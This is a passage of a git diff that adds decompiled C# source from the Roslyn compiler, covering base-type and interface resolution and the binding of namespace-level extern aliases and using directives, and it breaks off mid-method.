current2); + } + if (current2.HasFileLocalTypes() && !this.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeBase, (Location)(object)((Dictionary)(object)pooledSymbolDictionaryInstance)[current2], current2, this); + } + } + } + pooledSymbolDictionaryInstance.Free(); + ((BindingDiagnosticBag)(object)diagnostics).Add(GetFirstLocation(), useSiteInfo); + return new Tuple>(baseType, item2); + static bool containsOnlyOblivious(TypeSymbol type) + { + return (object)TypeWithAnnotations.Create(type).VisitType(null, (TypeWithAnnotations typeWithAnnotations, object arg, bool flag) => !typeWithAnnotations.Type.IsValueType && !typeWithAnnotations.NullableAnnotation.IsOblivious(), null, null) == null; + } + } + + private static BaseListSyntax GetBaseListOpt(SingleTypeDeclaration decl) + { + if (decl.HasBaseDeclarations) + { + return ((BaseTypeDeclarationSyntax)(object)decl.SyntaxReference.GetSyntax(default(CancellationToken))).BaseList; + } + return null; + } + + private Tuple> MakeOneDeclaredBases(ConsList newBasesBeingResolved, SingleTypeDeclaration decl, BindingDiagnosticBag diagnostics) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0489: Unknown result type (might be due to invalid IL or missing references) + //IL_048f: Invalid comparison between Unknown and I4 + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Expected O, but got Unknown + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Invalid comparison between Unknown and I4 + //IL_04a2: Unknown result type (might be due to invalid IL or missing references) + //IL_04a7: Unknown result type (might be due to invalid IL or missing references) + //IL_04b6: Unknown result type (might be due to invalid IL or missing references) + //IL_04c0: Expected O, but got Unknown + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_025d: Unknown result type (might be due to invalid IL or missing references) + //IL_0262: Unknown result type (might be due to invalid IL or missing references) + //IL_0264: Unknown result type (might be due to invalid IL or missing references) + //IL_0267: Unknown result type (might be due to invalid IL or missing references) + //IL_0299: Expected I4, but got Unknown + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Invalid comparison between Unknown and I4 + //IL_039d: Unknown result type (might be due to invalid IL or missing references) + //IL_03a3: Invalid comparison between Unknown and I4 + //IL_029f: Unknown result type (might be due to invalid IL or missing references) + //IL_02a4: Unknown result type (might be due to invalid IL or missing references) + //IL_044e: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_019d: Invalid comparison between Unknown and I4 + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Invalid comparison between Unknown and I4 + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Invalid comparison between Unknown and I4 + //IL_01b1: Unknown result type (might be due to invalid IL or missing references) + //IL_01b7: Invalid comparison between Unknown and I4 + //IL_01a4: Unknown result type (might be due to invalid IL or missing references) + //IL_01aa: Invalid comparison between Unknown and I4 + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Invalid comparison between Unknown and I4 + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Invalid comparison between Unknown and I4 + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + //IL_01c1: Invalid comparison between Unknown and I4 + //IL_01c5: Unknown result type (might be due to invalid IL or missing references) + //IL_01cc: Invalid comparison between Unknown and I4 + //IL_01ea: Unknown result type (might be due to invalid IL or missing references) + //IL_01f0: Invalid comparison between Unknown and I4 + BaseListSyntax baseListOpt = GetBaseListOpt(decl); + if (baseListOpt == null) + { + return null; + } + NamedTypeSymbol namedTypeSymbol = null; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Binder binder = DeclaringCompilation.GetBinder(baseListOpt); + binder = binder.WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.SuppressConstraintChecks, this); + int num = -1; + Enumerator enumerator = baseListOpt.Types.GetEnumerator(); + while (enumerator.MoveNext()) + { + BaseTypeSyntax current = enumerator.Current; + num++; + TypeSyntax type = current.Type; + if (type.Kind() != SyntaxKind.PredefinedType && !SyntaxFacts.IsName(type.Kind())) + { + diagnostics.Add(ErrorCode.ERR_BadBaseType, type.GetLocation()); + } + SourceLocation location = new SourceLocation((SyntaxNode)(object)type); + TypeSymbol type2; + if (num == 0 && (int)TypeKind == 2) + { + type2 = binder.BindType(type, diagnostics, newBasesBeingResolved).Type; + SpecialType specialType = type2.SpecialType; + if (IsRestrictedBaseType(specialType) && ((int)SpecialType != 2 || (int)specialType != 5) && ((int)SpecialType != 3 || (int)specialType != 4) && ((int)specialType != 23 || !(ContainingAssembly.CorLibrary == ContainingAssembly))) + { + diagnostics.Add(ErrorCode.ERR_DeriveFromEnumOrValueType, (Location)(object)location, this, type2); + continue; + } + if (type2.IsSealed && !IsStatic) + { + diagnostics.Add(ErrorCode.ERR_CantDeriveFromSealedType, (Location)(object)location, this, type2); + continue; + } + bool flag = false; + if ((int)type2.TypeKind == 6) + { + flag = true; + if ((int)type2.GetNonErrorTypeKindGuess() == 7) + { + flag = false; + } + } + if (((int)type2.TypeKind == 2 || (int)type2.TypeKind == 3 || (int)type2.TypeKind == 10 || flag) && (object)namedTypeSymbol == null) + { + namedTypeSymbol = (NamedTypeSymbol)type2; + if (IsStatic && (int)namedTypeSymbol.SpecialType != 1) + { + CSDiagnosticInfo errorInfo = diagnostics.Add(ErrorCode.ERR_StaticDerivedFromNonObject, (Location)(object)location, this, namedTypeSymbol); + namedTypeSymbol = new ExtendedErrorTypeSymbol(namedTypeSymbol, LookupResultKind.NotReferencable, (DiagnosticInfo)(object)errorInfo); + } + checkPrimaryConstructorBaseType(current, namedTypeSymbol); + continue; + } + } + else + { + type2 = binder.BindType(type, diagnostics, newBasesBeingResolved).Type; + } + if (num == 0) + { + checkPrimaryConstructorBaseType(current, type2); + } + TypeKind typeKind = type2.TypeKind; + switch (typeKind - 2) + { + case 5: + { + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + if (current2.Equals(type2, (TypeCompareKind)0)) + { + diagnostics.Add(ErrorCode.ERR_DuplicateInterfaceInBaseList, (Location)(object)location, type2); + } + else if (current2.Equals(type2, (TypeCompareKind)16)) + { + diagnostics.Add(ErrorCode.WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList, (Location)(object)location, type2, this); + } + } + if (IsStatic) + { + diagnostics.Add(ErrorCode.ERR_StaticClassInterfaceImpl, (Location)(object)location, this); + } + if (IsRefLikeType) + { + diagnostics.Add(ErrorCode.ERR_RefStructInterfaceImpl, (Location)(object)location, this); + } + if (type2.ContainsDynamic()) + { + diagnostics.Add(ErrorCode.ERR_DeriveFromConstructedDynamic, (Location)(object)location, this, type2); + } + instance.Add((NamedTypeSymbol)type2); + continue; + } + case 0: + if ((int)TypeKind == 2) + { + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = (NamedTypeSymbol)type2; + diagnostics.Add(ErrorCode.ERR_BaseClassMustBeFirst, (Location)(object)location, type2); + } + else + { + diagnostics.Add(ErrorCode.ERR_NoMultipleInheritance, (Location)(object)location, this, namedTypeSymbol, type2); + } + continue; + } + break; + case 9: + diagnostics.Add(ErrorCode.ERR_DerivingFromATyVar, (Location)(object)location, type2); + continue; + case 4: + instance.Add((NamedTypeSymbol)type2); + continue; + case 2: + diagnostics.Add(ErrorCode.ERR_DeriveFromDynamic, (Location)(object)location, this); + continue; + case 10: + throw ExceptionUtilities.UnexpectedValue((object)type2.TypeKind); + } + diagnostics.Add(ErrorCode.ERR_NonInterfaceInInterfaceList, (Location)(object)location, type2); + } + if ((int)SpecialType == 1 && ((object)namedTypeSymbol != null || instance.Count != 0)) + { + SyntaxToken name = GetName(baseListOpt.Parent); + diagnostics.Add(ErrorCode.ERR_ObjectCantHaveBases, (Location)new SourceLocation(ref name)); + } + return new Tuple>(namedTypeSymbol, instance.ToImmutableAndFree()); + void checkPrimaryConstructorBaseType(BaseTypeSyntax baseTypeSyntax, TypeSymbol baseType) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + if (baseTypeSyntax is PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax && ((int)TypeKind != 2 || (int)baseType.TypeKind == 7 || ((TypeDeclarationSyntax)(object)decl.SyntaxReference.GetSyntax(default(CancellationToken))).ParameterList == null)) + { + diagnostics.Add(ErrorCode.ERR_UnexpectedArgumentList, ((SyntaxNode)primaryConstructorBaseTypeSyntax.ArgumentList).Location); + } + } + } + + private static bool IsRestrictedBaseType(SpecialType specialType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Invalid comparison between Unknown and I4 + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + if (specialType - 2 <= 3 || (int)specialType == 23) + { + return true; + } + return false; + } + + private ImmutableArray MakeAcyclicInterfaces(ConsList basesBeingResolved, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = TypeKind; + if ((int)typeKind == 5) + { + return ImmutableArray.Empty; + } + ImmutableArray declaredInterfaces = GetDeclaredInterfaces(basesBeingResolved); + bool flag = (int)typeKind == 7; + ArrayBuilder val = (flag ? ArrayBuilder.GetInstance() : null); + ImmutableArray.Enumerator enumerator = declaredInterfaces.GetEnumerator(); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (flag) + { + if (BaseTypeAnalysis.TypeDependsOn(current, this)) + { + val.Add((NamedTypeSymbol)new ExtendedErrorTypeSymbol(current, LookupResultKind.NotReferencable, (DiagnosticInfo)(object)diagnostics.Add(ErrorCode.ERR_CycleInInterfaceInheritance, GetFirstLocation(), this, current))); + continue; + } + val.Add(current); + } + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + if (current.DeclaringCompilation != DeclaringCompilation) + { + current.AddUseSiteInfo(ref useSiteInfo); + ImmutableArray.Enumerator enumerator2 = current.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + if (current2.DeclaringCompilation != DeclaringCompilation) + { + current2.AddUseSiteInfo(ref useSiteInfo); + } + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add(GetFirstLocation(), useSiteInfo); + } + if (!flag) + { + return declaredInterfaces; + } + return val.ToImmutableAndFree(); + } + + private NamedTypeSymbol MakeAcyclicBaseType(BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = TypeKind; + CSharpCompilation declaringCompilation = DeclaringCompilation; + NamedTypeSymbol namedTypeSymbol = (((int)typeKind != 5) ? GetDeclaredBaseType(null) : declaringCompilation.GetSpecialType((SpecialType)2)); + if ((object)namedTypeSymbol == null) + { + if ((int)typeKind <= 3) + { + if ((int)typeKind != 2) + { + if ((int)typeKind != 3) + { + goto IL_006b; + } + namedTypeSymbol = declaringCompilation.GetSpecialType((SpecialType)3); + } + else + { + if ((int)SpecialType == 1) + { + return null; + } + namedTypeSymbol = declaringCompilation.GetSpecialType((SpecialType)1); + } + } + else + { + if ((int)typeKind == 7) + { + return null; + } + if ((int)typeKind != 10) + { + goto IL_006b; + } + namedTypeSymbol = declaringCompilation.GetSpecialType((SpecialType)5); + } + } + if (BaseTypeAnalysis.TypeDependsOn(namedTypeSymbol, this)) + { + return new ExtendedErrorTypeSymbol(namedTypeSymbol, LookupResultKind.NotReferencable, (DiagnosticInfo)(object)diagnostics.Add(ErrorCode.ERR_CircularBase, GetFirstLocation(), namedTypeSymbol, this)); + } + SetKnownToHaveNoDeclaredBaseCycles(); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + NamedTypeSymbol namedTypeSymbol2 = namedTypeSymbol; + while (namedTypeSymbol2.DeclaringCompilation != DeclaringCompilation) + { + namedTypeSymbol2.AddUseSiteInfo(ref useSiteInfo); + namedTypeSymbol2 = namedTypeSymbol2.BaseTypeNoUseSiteDiagnostics; + if ((object)namedTypeSymbol2 == null) + { + break; + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add((Location)(CollectionsExtensions.IsNullOrEmpty(useSiteInfo.Diagnostics) ? Location.None : (((object)FindBaseRefSyntax(namedTypeSymbol)) ?? ((object)GetFirstLocation()))), useSiteInfo); + return namedTypeSymbol; + IL_006b: + throw ExceptionUtilities.UnexpectedValue((object)typeKind); + } + + private NamedTypeSymbol GetEnumUnderlyingType(BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if ((int)TypeKind != 5) + { + return null; + } + CSharpCompilation declaringCompilation = DeclaringCompilation; + BaseListSyntax baseListOpt = GetBaseListOpt(declaration.Declarations[0]); + if (baseListOpt != null) + { + SeparatedSyntaxList types = baseListOpt.Types; + if (types.Count > 0) + { + TypeSyntax type = types[0].Type; + TypeSymbol typeSymbol = declaringCompilation.GetBinder(baseListOpt).BindType(type, diagnostics).Type; + if (!SpecialTypeExtensions.IsValidEnumUnderlyingType(typeSymbol.SpecialType)) + { + diagnostics.Add(ErrorCode.ERR_IntegralTypeExpected, ((SyntaxNode)type).Location); + typeSymbol = declaringCompilation.GetSpecialType((SpecialType)13); + } + return (NamedTypeSymbol)typeSymbol; + } + } + NamedTypeSymbol specialType = declaringCompilation.GetSpecialType((SpecialType)13); + Binder.ReportUseSite(specialType, diagnostics, GetFirstLocation()); + return specialType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceNamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceNamespaceSymbol.cs new file mode 100644 index 0000000..895cf24 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceNamespaceSymbol.cs @@ -0,0 +1,1565 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceNamespaceSymbol : NamespaceSymbol +{ + private sealed class AliasesAndUsings + { + private class ExternAliasesAndDiagnostics + { + public static readonly ExternAliasesAndDiagnostics Empty = new ExternAliasesAndDiagnostics + { + ExternAliases = ImmutableArray.Empty, + Diagnostics = ImmutableArray.Empty + }; + + public ImmutableArray ExternAliases { get; init; } + + public ImmutableArray Diagnostics { get; init; } + } + + private class UsingsAndDiagnostics + { + public static readonly UsingsAndDiagnostics Empty = new UsingsAndDiagnostics + { + UsingAliases = ImmutableArray.Empty, + UsingAliasesMap = null, + UsingNamespacesOrTypes = ImmutableArray.Empty, + Diagnostics = null + }; + + public ImmutableArray UsingAliases { get; init; } + + public ImmutableDictionary? UsingAliasesMap { get; init; } + + public ImmutableArray UsingNamespacesOrTypes { get; init; } + + public DiagnosticBag? Diagnostics { get; init; } + } + + private ExternAliasesAndDiagnostics? _lazyExternAliases; + + private UsingsAndDiagnostics? _lazyGlobalUsings; + + private UsingsAndDiagnostics? _lazyUsings; + + private Imports? _lazyImports; + + private SymbolCompletionState _state; + + internal ImmutableArray GetExternAliases(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax) + { + return GetExternAliasesAndDiagnostics(declaringSymbol, declarationSyntax).ExternAliases; + } + + internal ImmutableArray GetExternAliases(SourceNamespaceSymbol declaringSymbol, SyntaxReference declarationSyntax) + { + return (_lazyExternAliases ?? GetExternAliasesAndDiagnostics(declaringSymbol, (CSharpSyntaxNode)(object)declarationSyntax.GetSyntax(default(CancellationToken)))).ExternAliases; + } + + private ExternAliasesAndDiagnostics GetExternAliasesAndDiagnostics(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (_lazyExternAliases == null) + { + SyntaxList externs; + if (!(declarationSyntax is CompilationUnitSyntax compilationUnitSyntax)) + { + if (!(declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)declarationSyntax); + } + externs = baseNamespaceDeclarationSyntax.Externs; + } + else + { + externs = compilationUnitSyntax.Externs; + } + if (!externs.Any()) + { + _lazyExternAliases = ExternAliasesAndDiagnostics.Empty; + } + else + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + Interlocked.CompareExchange(ref _lazyExternAliases, new ExternAliasesAndDiagnostics + { + ExternAliases = buildExternAliases(externs, declaringSymbol, instance), + Diagnostics = instance.ToReadOnlyAndFree() + }, null); + } + } + return _lazyExternAliases; + static ImmutableArray buildExternAliases(SyntaxList syntaxList, SourceNamespaceSymbol sourceNamespaceSymbol, DiagnosticBag diagnostics) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation declaringCompilation = sourceNamespaceSymbol.DeclaringCompilation; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + Enumerator enumerator = syntaxList.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExternAliasDirectiveSyntax current = enumerator.Current; + declaringCompilation.RecordImport(current); + bool skipInLookup = false; + if (((Compilation)declaringCompilation).IsSubmission) + { + diagnostics.Add(ErrorCode.ERR_ExternAliasNotAllowed, ((SyntaxNode)current).Location); + skipInLookup = true; + } + else + { + Enumerator enumerator2 = instance2.GetEnumerator(); + SyntaxToken identifier; + while (enumerator2.MoveNext()) + { + AliasAndExternAliasDirective current2 = enumerator2.Current; + string name = current2.Alias.Name; + identifier = current.Identifier; + if (name == ((SyntaxToken)(ref identifier)).ValueText) + { + diagnostics.Add(ErrorCode.ERR_DuplicateAlias, current2.Alias.GetFirstLocation(), current2.Alias.Name); + break; + } + } + if (current.Identifier.ContextualKind() == SyntaxKind.GlobalKeyword) + { + identifier = current.Identifier; + diagnostics.Add(ErrorCode.ERR_GlobalExternAlias, ((SyntaxToken)(ref identifier)).GetLocation()); + } + } + instance2.Add(new AliasAndExternAliasDirective(new AliasSymbolFromSyntax(sourceNamespaceSymbol, current), current, skipInLookup)); + } + return instance2.ToImmutableAndFree(); + } + } + + internal ImmutableArray GetUsingAliases(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + return GetUsingsAndDiagnostics(declaringSymbol, declarationSyntax, basesBeingResolved).UsingAliases; + } + + internal ImmutableArray GetGlobalUsingAliases(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + return GetGlobalUsingsAndDiagnostics(declaringSymbol, declarationSyntax, basesBeingResolved).UsingAliases; + } + + internal ImmutableDictionary GetUsingAliasesMap(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + return GetUsingsAndDiagnostics(declaringSymbol, declarationSyntax, basesBeingResolved).UsingAliasesMap ?? ImmutableDictionary.Empty; + } + + internal ImmutableDictionary GetGlobalUsingAliasesMap(SourceNamespaceSymbol declaringSymbol, SyntaxReference declarationSyntax, ConsList? basesBeingResolved) + { + return (_lazyGlobalUsings ?? GetGlobalUsingsAndDiagnostics(declaringSymbol, (CSharpSyntaxNode)(object)declarationSyntax.GetSyntax(default(CancellationToken)), basesBeingResolved)).UsingAliasesMap ?? ImmutableDictionary.Empty; + } + + internal ImmutableArray GetUsingNamespacesOrTypes(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + return GetUsingsAndDiagnostics(declaringSymbol, declarationSyntax, basesBeingResolved).UsingNamespacesOrTypes; + } + + private UsingsAndDiagnostics GetUsingsAndDiagnostics(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + return GetUsingsAndDiagnostics(ref _lazyUsings, declaringSymbol, declarationSyntax, basesBeingResolved, onlyGlobal: false); + } + + internal ImmutableArray GetGlobalUsingNamespacesOrTypes(SourceNamespaceSymbol declaringSymbol, SyntaxReference declarationSyntax, ConsList? basesBeingResolved) + { + return (_lazyGlobalUsings ?? GetGlobalUsingsAndDiagnostics(declaringSymbol, (CSharpSyntaxNode)(object)declarationSyntax.GetSyntax(default(CancellationToken)), basesBeingResolved)).UsingNamespacesOrTypes; + } + + private UsingsAndDiagnostics GetGlobalUsingsAndDiagnostics(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + return GetUsingsAndDiagnostics(ref _lazyGlobalUsings, declaringSymbol, declarationSyntax, basesBeingResolved, onlyGlobal: true); + } + + private UsingsAndDiagnostics GetUsingsAndDiagnostics(ref UsingsAndDiagnostics? usings, SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved, bool onlyGlobal) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + if (usings == null) + { + bool? flag; + SyntaxList usings2; + if (!(declarationSyntax is CompilationUnitSyntax compilationUnitSyntax)) + { + if (!(declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)declarationSyntax); + } + flag = null; + usings2 = baseNamespaceDeclarationSyntax.Usings; + } + else + { + flag = onlyGlobal; + usings2 = compilationUnitSyntax.Usings; + } + UsingsAndDiagnostics value = (usings2.Any() ? buildUsings(usings2, declaringSymbol, declarationSyntax, flag, basesBeingResolved) : ((flag == false) ? new UsingsAndDiagnostics + { + UsingAliases = GetGlobalUsingAliases(declaringSymbol, declarationSyntax, basesBeingResolved), + UsingAliasesMap = declaringSymbol.GetGlobalUsingAliasesMap(basesBeingResolved), + UsingNamespacesOrTypes = declaringSymbol.GetGlobalUsingNamespacesOrTypes(basesBeingResolved), + Diagnostics = null + } : UsingsAndDiagnostics.Empty)); + Interlocked.CompareExchange(ref usings, value, null); + } + return usings; + UsingsAndDiagnostics buildUsings(SyntaxList usingDirectives, SourceNamespaceSymbol sourceNamespaceSymbol, CSharpSyntaxNode cSharpSyntaxNode, bool? applyIsGlobalFilter, ConsList? basesBeingResolved2) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Expected O, but got Unknown + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_024a: Unknown result type (might be due to invalid IL or missing references) + //IL_0251: Unknown result type (might be due to invalid IL or missing references) + //IL_0257: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_0262: Unknown result type (might be due to invalid IL or missing references) + //IL_0267: Unknown result type (might be due to invalid IL or missing references) + //IL_0274: Unknown result type (might be due to invalid IL or missing references) + //IL_027b: Unknown result type (might be due to invalid IL or missing references) + //IL_0281: Unknown result type (might be due to invalid IL or missing references) + //IL_0331: Unknown result type (might be due to invalid IL or missing references) + //IL_0338: Invalid comparison between Unknown and I4 + //IL_0403: Unknown result type (might be due to invalid IL or missing references) + //IL_040a: Invalid comparison between Unknown and I4 + //IL_033f: Unknown result type (might be due to invalid IL or missing references) + //IL_0346: Unknown result type (might be due to invalid IL or missing references) + //IL_034c: Unknown result type (might be due to invalid IL or missing references) + //IL_0538: Unknown result type (might be due to invalid IL or missing references) + //IL_053d: Unknown result type (might be due to invalid IL or missing references) + //IL_053f: Unknown result type (might be due to invalid IL or missing references) + //IL_0542: Invalid comparison between Unknown and I4 + //IL_0411: Unknown result type (might be due to invalid IL or missing references) + //IL_0418: Unknown result type (might be due to invalid IL or missing references) + //IL_041e: Unknown result type (might be due to invalid IL or missing references) + //IL_0550: Unknown result type (might be due to invalid IL or missing references) + //IL_0554: Invalid comparison between Unknown and I4 + //IL_0544: Unknown result type (might be due to invalid IL or missing references) + //IL_0547: Invalid comparison between Unknown and I4 + //IL_045b: Unknown result type (might be due to invalid IL or missing references) + //IL_0462: Unknown result type (might be due to invalid IL or missing references) + //IL_0468: Unknown result type (might be due to invalid IL or missing references) + //IL_0556: Unknown result type (might be due to invalid IL or missing references) + //IL_055a: Invalid comparison between Unknown and I4 + //IL_0549: Unknown result type (might be due to invalid IL or missing references) + //IL_054c: Invalid comparison between Unknown and I4 + //IL_059d: Unknown result type (might be due to invalid IL or missing references) + //IL_05a3: Invalid comparison between Unknown and I4 + ImmutableArray externAliases = GetExternAliases(sourceNamespaceSymbol, cSharpSyntaxNode); + ImmutableDictionary immutableDictionary = ImmutableDictionary.Empty; + ImmutableArray immutableArray = ImmutableArray.Empty; + ImmutableArray immutableArray2 = ImmutableArray.Empty; + if (applyIsGlobalFilter == false) + { + immutableDictionary = sourceNamespaceSymbol.GetGlobalUsingAliasesMap(basesBeingResolved2); + immutableArray = sourceNamespaceSymbol.GetGlobalUsingNamespacesOrTypes(basesBeingResolved2); + immutableArray2 = GetGlobalUsingAliases(sourceNamespaceSymbol, cSharpSyntaxNode, basesBeingResolved2); + } + DiagnosticBag val = new DiagnosticBag(); + CSharpCompilation declaringCompilation = sourceNamespaceSymbol.DeclaringCompilation; + ArrayBuilder usings3 = null; + ImmutableDictionary.Builder builder = null; + ArrayBuilder val2 = null; + Binder binder = null; + PooledHashSet uniqueUsings = null; + PooledHashSet uniqueUsings2 = null; + Enumerator enumerator = usingDirectives.GetEnumerator(); + while (enumerator.MoveNext()) + { + UsingDirectiveSyntax current = enumerator.Current; + if (applyIsGlobalFilter.HasValue && current.GlobalKeyword.IsKind(SyntaxKind.GlobalKeyword) != (applyIsGlobalFilter == true)) + { + continue; + } + declaringCompilation.RecordImport(current); + SyntaxToken val3; + if (current.Alias != null) + { + SyntaxToken identifier = current.Alias.Name.Identifier; + Location location = ((SyntaxNode)current.Alias.Name).Location; + if (identifier.ContextualKind() == SyntaxKind.GlobalKeyword) + { + val.Add(ErrorCode.WRN_GlobalAliasDefn, location); + } + SyntaxToken staticKeyword = current.StaticKeyword; + val3 = default(SyntaxToken); + if (staticKeyword != val3) + { + val.Add(ErrorCode.ERR_NoAliasHere, location); + } + 